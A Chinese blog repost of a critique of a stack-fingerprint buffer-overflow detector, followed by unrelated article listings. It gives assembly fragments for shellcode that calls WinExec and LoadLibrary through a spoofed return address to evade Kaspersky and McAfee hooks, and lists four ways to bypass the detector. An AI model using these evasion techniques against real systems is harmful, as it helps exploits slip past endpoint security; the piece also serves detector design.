点评"基于栈指纹检测缓冲区溢出的一点思路

内核栈溢出例子 内核栈溢出分析例子 1.栈溢出日志 [  151.986352] Unable to handle kernel NULL pointer dereference at virtual address 00000124 [  151.990030] pgd = c0004000 [  151.990030] [00000124] *pgd=00000000 [  151.990030] 阅读详情
基于栈指纹检测缓冲区溢出的一点思路》原文 (by gyzy)
http://www.xfocus.net/articles/200708/936.html

呵呵,难得看到有兄弟敢写这么高深的技术.
1.绕过KABA和MCAFEE的技巧,就不多说了,除了把SC移到PEB中执行我觉得最简单的办法就是在SHELLCODE中尽量不调用 getprocaddress和loadlibrary,取API地址可以用HASH比较,取DLL基地址可以通过PEB.最主要的WINEXEC可以用如下办法:
    CALL @@nextsc
@@nextsc:
    add byte ptr [esp],0DH
    push 1 ;FOR TEST
    push esi   ;ESI指向要运行的木马的路径
    push [edi+28h] ;RET
    JMP  dword ptr [edi+8h] ;winexec,'c:/xxx',1

简单的说就是在调用winexec之前先压入getcurrentprocess函入的入口地址,或是其它的在KERNEL32.DLL中,没有参数且代码特别简单的函数.
getcurrentprocess的代码只有如下两行:
83 C8 FF or eax,-1
C3 ret
当然如果SC中必须调用漏洞程序中没有加载的DLL中的函数时可以用如下办法来调用LOADLIBRARY

    CALL @@nextsc1
@@nextsc1:
    add byte ptr [esp],0xH
    push esi   ;ESI指向要加载的DLL名
     mov eax, [edi+28h] ;RET
    add eax,3
    push eax
    JMP  dword ptr [edi+xh] ;loadlibrary,'xxxx'


2.SC中真的有指纹吗?
GYZY兄的办法我觉得有多个地方可以破突.
HMODULE WINAPI MyLoadLibraryA(LPCTSTR lpFileName)
{
    DWORD stackbase,stacklimit,retaddr;

    __asm{
        mov eax,dword ptr [esp+0x1c]
        mov retaddr,eax
        mov eax,dword ptr fs:[4]
        mov stackbase,eax
        mov eax,dword ptr fs:[8]
        mov stacklimit,eax
    }

    if ( retaddr < stacklimit && retaddr > stackbase )
    {
overflow:
        MessageBox(0,"BufferOverflow Detected!","gyzy",MB_ICONINFORMATION);
        return NULL;
    }

    //0x64 0xA1 0x30 0x00 0x00 0x00
    __asm{
        push    0x100
        pop        ecx
        mov        esi,esp
compare:
        cmp        dword ptr [esi],0x0030A164    //检测mov eax,fs:[30]
        je        overflow
        inc        esi
        loop    compare
    }

    return fLoadLibraryA(lpFileName);
}


上面是他的核心代码吧,原理应该是:先在每次调用LOADLIBRARY的时候得到当前调用线程的线程栈的
地址范围,前面的办法这儿可以很简单的突破.然后从ESP开始往高地址走100个字节,检测有没有mov eax,fs:[30]
突破1:只检查了ESP往高地址100个字节,在SC中可以在调用所有API之前先把ESP减1000h(也许可以更大要看具体情况)
突破2:SC完可能不在栈中,而在堆或是PEB中.
突破3:检测mov eax,fs:[30],这个指令的变形办法实在太多了.如果都要检测的话,我看不现实,起码严重影响性能.
突破4:不管你检测什么指令,我在调用这个指令之后,调用被HOOK的API之前我都可以把这个指令修改成NOP,只要这个指令不会再被调用.


3.在我看来检测技术不但要检测返回地址的范围,还要检测一下返回地址里的指令是不是C3或是C2 XX XX,这样还要好一点点.
起码可以把SWANCALL消灭掉. 

 
绕过卡巴斯基主动防御系统方法的讨论  |=---------------------------------------------------------------------------=||=-----------------=[  绕过卡巴斯基主动防御系统方法的讨论  ]=----------------=||=-------------------------------------------------------- 阅读详情

相关推荐

回溯法和栈的思想用于“八皇后问题”的求解

八皇后问题是一个经典的问题,其核心是:在n*n的棋盘上,有n个皇后,这些皇后必须位于不同行不同列上,并且不能处于同一对角线上,否则会因相互攻击而死亡。那么如何安排皇后们的位置呢? 我们可以利用回溯法,先确定第一个皇后的位置,之后进入下一行,确定第二个皇后的位置,再之后进入下一行,如果发现找不到一个位置安排新皇后,则回退到上一行,将上一行的皇后向后移动一列,再考虑下一行的皇后,如此循环,直到安排好所有

kelvinmao的博客 4594

基于栈指纹检测缓冲区溢出的一点思路

基于栈指纹检测缓冲区溢出的一点思路 BY GYZY 一. 现有的检测栈溢出的模式二. 现有检测体系存在的不足三. 针对引擎要做的改进四. 关于未来 引言 当前主动防御等的概念逐渐进入人们视野,国外主流的杀毒软件都有栈溢出的检测模块,尽管相对传统的木马和病毒来说,缓冲区溢出仍占攻击的很小一部分,但是基于传统的木桶理论,安全是一个整体,威胁还是无处不在。 现有的栈溢出检测模式 整篇文章我都以...

爱.NET 295

B站DRM视频解密流程实战解析:从密钥获取到播放全流程

本文详细解析了B站DRM视频的解密全流程,从识别加密视频、捕获关键网络请求(如playurl接口的widevine_pssh数据),到逆向分析DRM SDK的JavaScript执行逻辑,最终手动模拟EME流程获取解密密钥,并使用mp4decrypt和ffmpeg工具完成视频文件的解密与合并。文章为开发者提供了从密钥获取到播放的完整实战指南。

weixin_29290379的博客 844

漫谈兼容内核之二十二:Windows线程的调度和运行

  了解Windows线程的系统空间堆栈以后,还有必要对Windows线程的调度、切换、和运行也有所了解。当然,就兼容内核的开发而言,内核的线程调度/切换/运行机制只能有一套,而且必定是基本上沿用Linux的这套机制,而不可能在一个内核中有两套调度/运行机制。但是对于Windows这套机制的了解对于兼容内核的开发也很重要,并且还是必须的。举例来说,大家都知道在Windows系统中段寄存器FS在用户

周寅的专栏 3679

安装keil5(MDK)及导入pack包教程

首先说明的是我安装的Keil版本为Keil V5.29.0.0 1、安装软件 右键管理员权限运行安装包 设置安装路径以及pack的存放路径 随意输入First Name和E-mail 安装驱动 完成软件安装,然后可以先关闭弹出的Pack Install(一会再添加) 2、激活一下软件 打开桌面的Keil File → License Management(我之前注册过了) 右...

hrx-@@ 10万+

利用Spm12进行fMRI数据分析:从预处理到结果解读的完整指南

本文提供了利用SPM12进行fMRI数据分析的完整流程指南,涵盖从数据预处理、统计建模到结果解读的全过程。详细介绍了在MATLAB环境下使用SPM12图形界面完成头动矫正、空间标准化等关键步骤的操作方法与避坑技巧,帮助神经科学研究者和心理学研究者高效处理功能磁共振成像数据并产出可靠结果。

weixin_29079671的博客 453

网安学习 | Kali安全渗透测试系统之【主机存活及指纹探测】工具学习实践

讲解在Kali系统下针对目标存活检测以及目标的系统指纹探测工具的介绍使用。在渗透测试前期或者后期,主机存活的探测以及系统指纹的探测尤为重要,它可以让我们明确可以向那些机器发起测试,以及明确不同的操作系统,我们应该扫描不同的特征端口,以及对应系统服务的0Day漏洞以及exploit poc。

全栈工程师修炼指南-IT知识分享 1079

避开封号风险!wxauto+Claude API实现微信智能客服的合规方案

本文详细介绍了如何利用wxauto和Claude API构建合规的微信智能客服系统,避免封号风险。通过技术选型对比、防封策略设计及大模型接入实践,为企业提供了一套安全高效的解决方案,特别适合中小企业在微信生态中部署AI客服。

sql99的博客 449

使用TCP/IP协议栈指纹进行远程操作系统辨识

使用TCP/IP协议栈指纹进行远程操作系统辨识( ps:主要参照fyoder的《使用TCP/IP协议栈指纹进行远程操作系统辨识》一文)

Bendawang's Blog 1万+

ESP32-S3 USB下载模式深度解析:从UART0到TinyUSB的硬件设计与避坑指南

本文深度解析ESP32-S3的三种USB下载模式:UART0、Hardware CDC和基于TinyUSB的USB-OTG CDC。详细探讨各模式的硬件设计要点、电平异常问题、eFuse配置及避坑指南,帮助开发者优化设计,提升量产效率和系统稳定性。

gold的博客 1292

4.DJI-PSDK云台x-port控制:

使用PSDK 的“云台控制”功能,开发者需要先设计负载设备的云台并开发出控制云台的程序,将云台的控制函数注册到PSDK 指定的接口后,用户通过使用DJI Pilot、基于MSDK 开发的移动端App 及遥控器即可控制基于PSDK 开发的具有云台功能的负载设备,同时获得负载设备的相关信息,如姿态等。云台的姿态如 图2.云台姿态 所示,根据用户的控制指令,云台能够调整姿态;云台的关节如 图1.云台关节 所示,云台关节是云台上带动负载设备转动的结构件:云台电机,云台关节角即云台电机转动的角度。

哒宰的博客 859

[讨论]关于缓冲区溢出的检测

目前,缓冲区溢出应该是攻击的最直接的方式,因此如何检测缓冲区溢出以及保护刻不容缓 ,然而当前并没有很稳定可靠的方法来对缓冲区溢出进行检测,MACFEE应该是提出缓冲区溢出保护的最早的安全厂商,然而如今也不再对该技术进行大肆宣传了,这几天在网上翻了一下,感觉Comodo公司对缓冲区溢出的检测做的比较好,然后我也看不懂他采用的什么技术,如果哪位牛人来介绍一下他采用的技术就好了.后来又看了gyzy的文章

3158

精通 Android NDK/JNI:从入门到精通实战与面试精粹

在Android开发中,

郑伟强dev的专栏 145

缓存区溢出检测

转自:http://blog.youkuaiyun.com/galihoo/article/details/2299151 目前,缓冲区溢出应该是攻击的最直接的方式,因此如何检测缓冲区溢出以及保护刻不容缓 ,然而当前并没有很稳定可靠的方法来对缓冲区溢出进行检 测,MACFEE应该是提出缓冲区溢出保护的最早的安全厂商,然而如今也不再对该技术进行大肆宣传了,这几天在网上翻了一下,感觉Comodo公司对缓冲 区溢

刘松华-林散 3417

20、机器人硬件改造与Geomagic Touch设备的运动学和动力学模型

本文详细介绍了机器人CRS 465和255的硬件改造过程,包括数字阶段、模拟阶段、功率阶段及软件实现,并深入研究了Geomagic Touch触觉设备的五自由度与三自由度运动学、微分运动学及动力学模型。文章还探讨了其在虚拟手术、装配等场景中的应用,提出了硬件与模型优化方向,如电源管理改进、信号处理优化、参数校准与自适应控制,并展望了多机器人协作、多传感器融合与智能控制算法的发展前景。

e4f5g6h7的博客 122

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

stack 扩展机制

  windows中,每个线程都关联一个stack,stack的默认大小是1M,用于存放临时变量,函数参数,返回地址等。   但是当一个线程开始运行的时候不是其相关stack的内存就真正被提交,因为如果一个进程有10个线程,那么如果这10个线程的stack的内存都被提交,那么虚拟内存就占用了10M,就需要想对应的页表项等开销,而且这10M到底是否被真的使用还是个未知数,所以系统的策略是...

weixin_30881367的博客 170

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

32位汇编语言学习笔记(20)--栈破坏检测

还是使用前面缓冲区溢出的那个程序,使用-fstack-protector编译选项。 gcc -O1 -m32 -fstack-protector-o bufovf bufovf.c 对映像文件进行反汇编: objdump -d bufovf 得到如下结果: bufovf:    file format elf32-i386 …… 08048524 :  8048524:

swordmanwk的专栏 3594

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

[crash分析]栈破坏分析总结

栈破坏的两种表现 1. 栈帧被破坏 栈帧被破坏,从寄存器上可以看到栈帧寄存器rbp异常。因为返回地址正常,所以我们能够看到返回地址函数。 //栈帧被写坏后的栈表现 [New LWP 31418] Core was generated by `./test1'. Program terminated with signal 11, Segmentation fault. #0 0x000000000040053b in test1 () Missing separate debuginfos, use: d

3467

栈的思想用于求解迷宫问题

迷宫问题是一个经典的问题,当迷宫规模较大时,手工求解是十分困难的,所以用善于进行重复繁琐计算的计算机来求解便十分合适。基本思想和解决“八皇后问题” 的思想一致,都是利用回溯法。从入口开始,探索每一个迷宫中没有被墙挡住的位置,如果该位置可以移动到下一个位置,则标记该位置已被探索过并入栈;如果不能移动到下一位置,则标记为探索失败并回退到上一个位置,如果最终退回了出发点,则说明迷宫无解。下面附上代码:#i

kelvinmao的博客 1253

栈的思想方法

1 def largestRectangleArea(self, height): 2 height.append(0) 3 size = len(height) 4 no_decrease_stack = [0] 5 max_size = height[0] 6 i = 0 while i < size: 7 cu...

weixin_30651273的博客 184

栈随机化

 为了防止入侵者通过缓冲区溢出进行攻击,linux系统实现了栈随机化技术。 如下代码用于打印出main函数局部变量的地址: #include   int main() {    int local;    printf("local at %p\n", &local);    sleep(-1);     return0;

swordmanwk的专栏 3982

171124 逆向-线程环境块(TEB)

1625-5 王子昂 总结《2017年11月24日》 【连续第420天总结】 A. TEB(线程环境块) B. 介绍该结构体中包含进程中运行线程的各种信息,每个线程都对应一个TEB结构体。 不同OS中TEB结构的形态略微不同。定义结构体中有非常多的成员,其中用户模式调试中起着重要作用的成员有两个:+0 NtTib : _NT_TIB ... +0X30 ProcessEnvironmentB

whklhhhh的博客 2340
上一篇: 反病毒引擎设计之可控制引擎流
下一篇: 如何优雅地关闭一个socket
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值